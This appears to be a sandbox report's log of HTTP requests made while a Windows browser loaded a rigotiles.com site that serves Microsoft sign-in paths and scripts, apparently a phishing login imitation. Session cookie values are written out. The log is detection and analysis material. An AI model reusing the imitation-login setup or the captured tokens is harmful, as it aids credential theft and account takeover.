Source: global traffic	HTTP traffic detected: GET /s/07f1e878a6a4099a22d191aa8620db246a4d51250183c5b6fa76fa586131f157/e912187ff14fbe0e087fdd0242e0ac50ec5f2e3b1729e3fe0d8b2bf4a69d8ad8.js HTTP/1.1Host: mail.rigotiles.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: 0874-e292=07f1e878a6a4099a22d191aa8620db246a4d51250183c5b6fa76fa586131f157; x-ms-gateway-slice=estsfd; fpc=AruFywdRNsJGosIYeIFG8IA; esctx=PAQABBwEAAADW6jl31mB3T7ugrWTT8pFe-AyN2vN-JZnTZfC12RmLUEtADKPEs35jiYAhQHvA7yy6XAZXDIvOksTiwlwkBdwZLRLEiuBbMqix2p0WltGmtzxvUP8xE8uk3ylawvpG2uOJgxdJBWBGlnqwE6QkVUUwW1cWu4pTSsWeRfeyE-7UsO2x5VMtIehx38SdhASkTlAgAA; stsservicecookie=estsfd; MUID=3FEF292F99CD6FE9028E3C0698816E87; esctx-tqcq03maRtc=AQABCQEAAADW6jl31mB3T7ugrWTT8pFeshBZkdRtL4uCiakvoFKUDu3OINUz_20GUUDVINotffSlbTWb7a8G4YNtFArgcCTCPKsCD9L0xmgVGLAHq1Y_wENBJBKaSY6c_QUlSL0ILScFRvwDLrvS27gX9qgXcWroShwQ2ZnyokFi_x8kbcBoYiAA
Source: global traffic	HTTP traffic detected: GET /common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638660049050246663.ODc3ZjU4ZjQtODc2Zi00ODIzLWE0ZWYtZTkwNDU1YWI0OTFiM2NlOWFhNzEtMjU2Ny00ZjYwLTgzNzEtODIzYmIwYzA4ODM0&ui_locales=en-US&mkt=en-US&client-request-id=38bb8568-fea6-41ed-ae3e-ed6af3504c2b&state=x4Aec5a0t6Chw2Cmg3oyOPc-mwB2u0ch0KBYfu6mFO5Ma9nmM_3GwZPFX412dON63puN8EmddEU_qbWoXhATmOc0tMJNkQgq5JBQxfDDFQOnDaAULmUWlGDanz3aCy4nYqKb7pQIfefqVH19cqYbRn5LhF6TdIjTRmTo2w8AteES04W1enQACj8zsPIvZTVP2q0Ivk-tgunlyCULGc3oUQHLKsH_aN5xgAMMDXqLt9ycip-0aqZMys4sowroO7trqWt3x56-Y1VnFgP7VP530Q&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=true HTTP/1.1Host: mail.rigotiles.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0sec-ch-ua-platform: "Windows"Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Sec-Fetch-Site: same-originSec-Fetch-Mode: navigateSec-Fetch-Dest: documentReferer: https://mail.rigotiles.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638660049050246663.ODc3ZjU4ZjQtODc2Zi00ODIzLWE0ZWYtZTkwNDU1YWI0OTFiM2NlOWFhNzEtMjU2Ny00ZjYwLTgzNzEtODIzYmIwYzA4ODM0&ui_locales=en-US&mkt=en-US&client-request-id=38bb8568-fea6-41ed-ae3e-ed6af3504c2b&state=x4Aec5a0t6Chw2Cmg3oyOPc-mwB2u0ch0KBYfu6mFO5Ma9nmM_3GwZPFX412dON63puN8EmddEU_qbWoXhATmOc0tMJNkQgq5JBQxfDDFQOnDaAULmUWlGDanz3aCy4nYqKb7pQIfefqVH19cqYbRn5LhF6TdIjTRmTo2w8AteES04W1enQACj8zsPIvZTVP2q0Ivk-tgunlyCULGc3oUQHLKsH_aN5xgAMMDXqLt9ycip-0aqZMys4sowroO7trqWt3x56-Y1VnFgP7VP530Q&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: 0874-e292=07f1e878a6a4099a22d191aa8620db246a4d51250183c5b6fa76fa586131f157; x-ms-gateway-slice=estsfd; fpc=AruFywdRNsJGosIYeIFG8IA; esctx=PAQABBwEAAADW6jl31mB3T7ugrWTT8pFe-AyN2vN-JZnTZfC12RmLUEtADKPEs35jiYAhQHvA7yy6XAZXDIvOksTiwlwkBdwZLRLEiuBbMqix2p0WltGmtzxvUP8xE8uk3ylawvpG2uOJgxdJBWBGlnqwE6QkVUUwW1cWu4pTSsWeRfeyE-7UsO2x5VMtIehx38SdhASkTlAgAA; stsservicecookie=estsfd; MUID=3FEF292F99CD6FE9028E3C0698816E87; esctx-tqcq03maRtc=AQABCQEAAADW6jl31mB3T7ugrWTT8pFeshBZkdRtL4uCiakvoFKUDu3OINUz_20GUUDVINotffSlbTWb7a8G4YNtFArgcCTCPKsCD9L0xmgVGLAHq1Y_wENBJBKaSY6c_QUlSL0ILScFRvwDLrvS27gX9qgXcWroShwQ2ZnyokFi_x8kbcBoYiAA; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/js/BssoInterrupt_Core_zKox_QMcTIVut7mG_Z9Eew2.js HTTP/1.1Host: aadcdn.msftauth.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /s/07f1e878a6a4099a22d191aa8620db246a4d51250183c5b6fa76fa586131f157/e912187ff14fbe0e087fdd0242e0ac50ec5f2e3b1729e3fe0d8b2bf4a69d8ad8.js HTTP/1.1Host: mail.rigotiles.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://mail.rigotiles.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638660049050246663.ODc3ZjU4ZjQtODc2Zi00ODIzLWE0ZWYtZTkwNDU1YWI0OTFiM2NlOWFhNzEtMjU2Ny00ZjYwLTgzNzEtODIzYmIwYzA4ODM0&ui_locales=en-US&mkt=en-US&client-request-id=38bb8568-fea6-41ed-ae3e-ed6af3504c2b&state=x4Aec5a0t6Chw2Cmg3oyOPc-mwB2u0ch0KBYfu6mFO5Ma9nmM_3GwZPFX412dON63puN8EmddEU_qbWoXhATmOc0tMJNkQgq5JBQxfDDFQOnDaAULmUWlGDanz3aCy4nYqKb7pQIfefqVH19cqYbRn5LhF6TdIjTRmTo2w8AteES04W1enQACj8zsPIvZTVP2q0Ivk-tgunlyCULGc3oUQHLKsH_aN5xgAMMDXqLt9ycip-0aqZMys4sowroO7trqWt3x56-Y1VnFgP7VP530Q&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=trueAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: 0874-e292=07f1e878a6a4099a22d191aa8620db246a4d51250183c5b6fa76fa586131f157; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; MUID=3FEF292F99CD6FE9028E3C0698816E87; esctx-tqcq03maRtc=AQABCQEAAADW6jl31mB3T7ugrWTT8pFeshBZkdRtL4uCiakvoFKUDu3OINUz_20GUUDVINotffSlbTWb7a8G4YNtFArgcCTCPKsCD9L0xmgVGLAHq1Y_wENBJBKaSY6c_QUlSL0ILScFRvwDLrvS27gX9qgXcWroShwQ2ZnyokFi_x8kbcBoYiAA; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=1.AVcAMe_N-B6jSkuT5F9XHpElWltEZUfGMrBJg-Ydk3ZSdsoBAABXAA.AQABGgEAAADW6jl31mB3T7ugrWTT8pFerZf0XEYEZYyGvuOyhwJXB0SRCqxULEeublamFNpO0jFXZ9YFjqfZCaUBfBGl91uuei8RAX0IxUQQXCGAW3q6a4UUG7Lx2Kj1Cvos0cPADXEgAA; esctx=PAQABBwEAAADW6jl31mB3T7ugrWTT8pFeAIdB6zq4vN0DWkBIaJo0qgFemNm-IOQkhwMmnl3AVpjNjIdkgwvGVpLgP48V6TVGSeTlMHBMn5NuqK4HcVUYb-QtDoYuIzsamwnhU0C1nUhK9pDAKsu3LAbS7PHWVR9E_5d-72Y7smPtaCKExlNDWP_1SD4rk6zpjT5kjDEwhcogAA; esctx-6wnTxwCVaTE=AQABCQEAAADW6jl31mB3T7ugrWTT8pFe2e65jp_s8IvfYI3DNLBSNfTbickbZmZ3ptWJ39Fra1v9JlbHB41GP3Ivl_YewUg_Ele1pR2J7OgiZm5AtQIrJJVFszzVnQV7LkcSVPhuu4TuPcf_vaaUceEZV6BFa6EDrm8AWEayHYHT7PEXmkWnXCAA; fpc=AruFywdRNsJGosIYeIFG8IC8Ae7AAQAAAKzltd4OAAAA
Source: global traffic	HTTP traffic detected: GET /s/07f1e878a6a4099a22d191aa8620db246a4d51250183c5b6fa76fa586131f157.js HTTP/1.1Host: mail.rigotiles.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: scriptReferer: https://mail.rigotiles.com/common/oauth2/v2.0/authorize?client_id=4765445b-32c6-49b0-83e6-1d93765276ca&redirect_uri=https%3A%2F%2Fwww.office.com%2Flandingv2&response_type=code%20id_token&scope=openid%20profile%20https%3A%2F%2Fwww.office.com%2Fv2%2FOfficeHome.All&response_mode=form_post&nonce=638660049050246663.ODc3ZjU4ZjQtODc2Zi00ODIzLWE0ZWYtZTkwNDU1YWI0OTFiM2NlOWFhNzEtMjU2Ny00ZjYwLTgzNzEtODIzYmIwYzA4ODM0&ui_locales=en-US&mkt=en-US&client-request-id=38bb8568-fea6-41ed-ae3e-ed6af3504c2b&state=x4Aec5a0t6Chw2Cmg3oyOPc-mwB2u0ch0KBYfu6mFO5Ma9nmM_3GwZPFX412dON63puN8EmddEU_qbWoXhATmOc0tMJNkQgq5JBQxfDDFQOnDaAULmUWlGDanz3aCy4nYqKb7pQIfefqVH19cqYbRn5LhF6TdIjTRmTo2w8AteES04W1enQACj8zsPIvZTVP2q0Ivk-tgunlyCULGc3oUQHLKsH_aN5xgAMMDXqLt9ycip-0aqZMys4sowroO7trqWt3x56-Y1VnFgP7VP530Q&x-client-SKU=ID_NET8_0&x-client-ver=7.5.1.0&sso_reload=trueAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: 0874-e292=07f1e878a6a4099a22d191aa8620db246a4d51250183c5b6fa76fa586131f157; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; MUID=3FEF292F99CD6FE9028E3C0698816E87; esctx-tqcq03maRtc=AQABCQEAAADW6jl31mB3T7ugrWTT8pFeshBZkdRtL4uCiakvoFKUDu3OINUz_20GUUDVINotffSlbTWb7a8G4YNtFArgcCTCPKsCD9L0xmgVGLAHq1Y_wENBJBKaSY6c_QUlSL0ILScFRvwDLrvS27gX9qgXcWroShwQ2ZnyokFi_x8kbcBoYiAA; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=1.AVcAMe_N-B6jSkuT5F9XHpElWltEZUfGMrBJg-Ydk3ZSdsoBAABXAA.AQABGgEAAADW6jl31mB3T7ugrWTT8pFerZf0XEYEZYyGvuOyhwJXB0SRCqxULEeublamFNpO0jFXZ9YFjqfZCaUBfBGl91uuei8RAX0IxUQQXCGAW3q6a4UUG7Lx2Kj1Cvos0cPADXEgAA; esctx=PAQABBwEAAADW6jl31mB3T7ugrWTT8pFeAIdB6zq4vN0DWkBIaJo0qgFemNm-IOQkhwMmnl3AVpjNjIdkgwvGVpLgP48V6TVGSeTlMHBMn5NuqK4HcVUYb-QtDoYuIzsamwnhU0C1nUhK9pDAKsu3LAbS7PHWVR9E_5d-72Y7smPtaCKExlNDWP_1SD4rk6zpjT5kjDEwhcogAA; esctx-6wnTxwCVaTE=AQABCQEAAADW6jl31mB3T7ugrWTT8pFe2e65jp_s8IvfYI3DNLBSNfTbickbZmZ3ptWJ39Fra1v9JlbHB41GP3Ivl_YewUg_Ele1pR2J7OgiZm5AtQIrJJVFszzVnQV7LkcSVPhuu4TuPcf_vaaUceEZV6BFa6EDrm8AWEayHYHT7PEXmkWnXCAA; fpc=AruFywdRNsJGosIYeIFG8IC8Ae7AAQAAAKzltd4OAAAA
Source: global traffic	HTTP traffic detected: GET /Me.htm?v=3 HTTP/1.1Host: ywnjb.rigotiles.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7Purpose: prefetchSec-Fetch-Site: same-siteSec-Fetch-Mode: no-corsSec-Fetch-Dest: emptyReferer: https://mail.rigotiles.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: 0874-e292=07f1e878a6a4099a22d191aa8620db246a4d51250183c5b6fa76fa586131f157; MUID=3FEF292F99CD6FE9028E3C0698816E87
Source: global traffic	HTTP traffic detected: GET /ests/2.1/content/cdnbundles/converged.v2.login.min_nin8k2ycrbzww8zl5vxkaq2.css HTTP/1.1Host: vn3hg.rigotiles.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://mail.rigotiles.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: styleReferer: https://mail.rigotiles.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/js/ConvergedLogin_PCore_IzDt-l0Cuie0gYRUoEk15w2.js HTTP/1.1Host: vn3hg.rigotiles.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://mail.rigotiles.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://mail.rigotiles.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ests/2.1/content/cdnbundles/ux.converged.login.strings-en.min_1yb3e7oii5t28dgo4xrtow2.js HTTP/1.1Host: vn3hg.rigotiles.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://mail.rigotiles.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://mail.rigotiles.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /s/07f1e878a6a4099a22d191aa8620db246a4d51250183c5b6fa76fa586131f157/e912187ff14fbe0e087fdd0242e0ac50ec5f2e3b1729e3fe0d8b2bf4a69d8ad8.js HTTP/1.1Host: mail.rigotiles.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: 0874-e292=07f1e878a6a4099a22d191aa8620db246a4d51250183c5b6fa76fa586131f157; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; MUID=3FEF292F99CD6FE9028E3C0698816E87; esctx-tqcq03maRtc=AQABCQEAAADW6jl31mB3T7ugrWTT8pFeshBZkdRtL4uCiakvoFKUDu3OINUz_20GUUDVINotffSlbTWb7a8G4YNtFArgcCTCPKsCD9L0xmgVGLAHq1Y_wENBJBKaSY6c_QUlSL0ILScFRvwDLrvS27gX9qgXcWroShwQ2ZnyokFi_x8kbcBoYiAA; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=1.AVcAMe_N-B6jSkuT5F9XHpElWltEZUfGMrBJg-Ydk3ZSdsoBAABXAA.AQABGgEAAADW6jl31mB3T7ugrWTT8pFerZf0XEYEZYyGvuOyhwJXB0SRCqxULEeublamFNpO0jFXZ9YFjqfZCaUBfBGl91uuei8RAX0IxUQQXCGAW3q6a4UUG7Lx2Kj1Cvos0cPADXEgAA; esctx=PAQABBwEAAADW6jl31mB3T7ugrWTT8pFeAIdB6zq4vN0DWkBIaJo0qgFemNm-IOQkhwMmnl3AVpjNjIdkgwvGVpLgP48V6TVGSeTlMHBMn5NuqK4HcVUYb-QtDoYuIzsamwnhU0C1nUhK9pDAKsu3LAbS7PHWVR9E_5d-72Y7smPtaCKExlNDWP_1SD4rk6zpjT5kjDEwhcogAA; esctx-6wnTxwCVaTE=AQABCQEAAADW6jl31mB3T7ugrWTT8pFe2e65jp_s8IvfYI3DNLBSNfTbickbZmZ3ptWJ39Fra1v9JlbHB41GP3Ivl_YewUg_Ele1pR2J7OgiZm5AtQIrJJVFszzVnQV7LkcSVPhuu4TuPcf_vaaUceEZV6BFa6EDrm8AWEayHYHT7PEXmkWnXCAA; fpc=AruFywdRNsJGosIYeIFG8IC8Ae7AAQAAAKzltd4OAAAA
Source: global traffic	HTTP traffic detected: GET /s/07f1e878a6a4099a22d191aa8620db246a4d51250183c5b6fa76fa586131f157.js HTTP/1.1Host: mail.rigotiles.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: 0874-e292=07f1e878a6a4099a22d191aa8620db246a4d51250183c5b6fa76fa586131f157; x-ms-gateway-slice=estsfd; stsservicecookie=estsfd; MUID=3FEF292F99CD6FE9028E3C0698816E87; esctx-tqcq03maRtc=AQABCQEAAADW6jl31mB3T7ugrWTT8pFeshBZkdRtL4uCiakvoFKUDu3OINUz_20GUUDVINotffSlbTWb7a8G4YNtFArgcCTCPKsCD9L0xmgVGLAHq1Y_wENBJBKaSY6c_QUlSL0ILScFRvwDLrvS27gX9qgXcWroShwQ2ZnyokFi_x8kbcBoYiAA; AADSSO=NA\|NoExtension; SSOCOOKIEPULLED=1; buid=1.AVcAMe_N-B6jSkuT5F9XHpElWltEZUfGMrBJg-Ydk3ZSdsoBAABXAA.AQABGgEAAADW6jl31mB3T7ugrWTT8pFerZf0XEYEZYyGvuOyhwJXB0SRCqxULEeublamFNpO0jFXZ9YFjqfZCaUBfBGl91uuei8RAX0IxUQQXCGAW3q6a4UUG7Lx2Kj1Cvos0cPADXEgAA; esctx=PAQABBwEAAADW6jl31mB3T7ugrWTT8pFeAIdB6zq4vN0DWkBIaJo0qgFemNm-IOQkhwMmnl3AVpjNjIdkgwvGVpLgP48V6TVGSeTlMHBMn5NuqK4HcVUYb-QtDoYuIzsamwnhU0C1nUhK9pDAKsu3LAbS7PHWVR9E_5d-72Y7smPtaCKExlNDWP_1SD4rk6zpjT5kjDEwhcogAA; esctx-6wnTxwCVaTE=AQABCQEAAADW6jl31mB3T7ugrWTT8pFe2e65jp_s8IvfYI3DNLBSNfTbickbZmZ3ptWJ39Fra1v9JlbHB41GP3Ivl_YewUg_Ele1pR2J7OgiZm5AtQIrJJVFszzVnQV7LkcSVPhuu4TuPcf_vaaUceEZV6BFa6EDrm8AWEayHYHT7PEXmkWnXCAA; fpc=AruFywdRNsJGosIYeIFG8IC8Ae7AAQAAAKzltd4OAAAA
Source: global traffic	HTTP traffic detected: GET /ests/2.1/content/cdnbundles/converged.v2.login.min_nin8k2ycrbzww8zl5vxkaq2.css HTTP/1.1Host: aadcdn.msftauth.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://mail.rigotiles.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: styleReferer: https://mail.rigotiles.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/js/ConvergedLogin_PCore_IzDt-l0Cuie0gYRUoEk15w2.js HTTP/1.1Host: aadcdn.msftauth.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://mail.rigotiles.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://mail.rigotiles.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ests/2.1/content/cdnbundles/watsonsupportwithjquery.3.5.min_dc940oomzau4rsu8qesnvg2.js HTTP/1.1Host: vn3hg.rigotiles.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://mail.rigotiles.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://mail.rigotiles.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ests/2.1/content/cdnbundles/ux.converged.login.strings-en.min_1yb3e7oii5t28dgo4xrtow2.js HTTP/1.1Host: aadcdn.msftauth.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://mail.rigotiles.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://mail.rigotiles.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ests/2.1/content/cdnbundles/watsonsupportwithjquery.3.5.min_dc940oomzau4rsu8qesnvg2.js HTTP/1.1Host: aadcdn.msftauth.netConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://mail.rigotiles.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: cross-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://mail.rigotiles.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ests/2.1/content/cdnbundles/ux.converged.login.strings-en.min_1yb3e7oii5t28dgo4xrtow2.js HTTP/1.1Host: aadcdn.msftauth.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ests/2.1/content/cdnbundles/converged.v2.login.min_nin8k2ycrbzww8zl5vxkaq2.css HTTP/1.1Host: vn3hg.rigotiles.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://mail.rigotiles.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: text/css,/;q=0.1Sec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: styleReferer: https://mail.rigotiles.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /clientwebservice/ping HTTP/1.1Connection: Keep-AliveUser-Agent: DNS resiliency checker/1.0Host: fe3cr.delivery.mp.microsoft.com
Source: global traffic	HTTP traffic detected: GET /shared/1.0/content/js/ConvergedLogin_PCore_IzDt-l0Cuie0gYRUoEk15w2.js HTTP/1.1Host: aadcdn.msftauth.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /sls/ping HTTP/1.1Connection: Keep-AliveUser-Agent: DNS resiliency checker/1.0Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /ests/2.1/content/cdnbundles/watsonsupportwithjquery.3.5.min_dc940oomzau4rsu8qesnvg2.js HTTP/1.1Host: aadcdn.msftauth.netConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
Source: global traffic	HTTP traffic detected: GET /ests/2.1/content/cdnbundles/frameworksupport.min_oadrnc13magb009k4d20lg2.js HTTP/1.1Host: vn3hg.rigotiles.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"Origin: https://mail.rigotiles.comsec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: /Sec-Fetch-Site: same-siteSec-Fetch-Mode: corsSec-Fetch-Dest: scriptReferer: https://mail.rigotiles.com/Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9
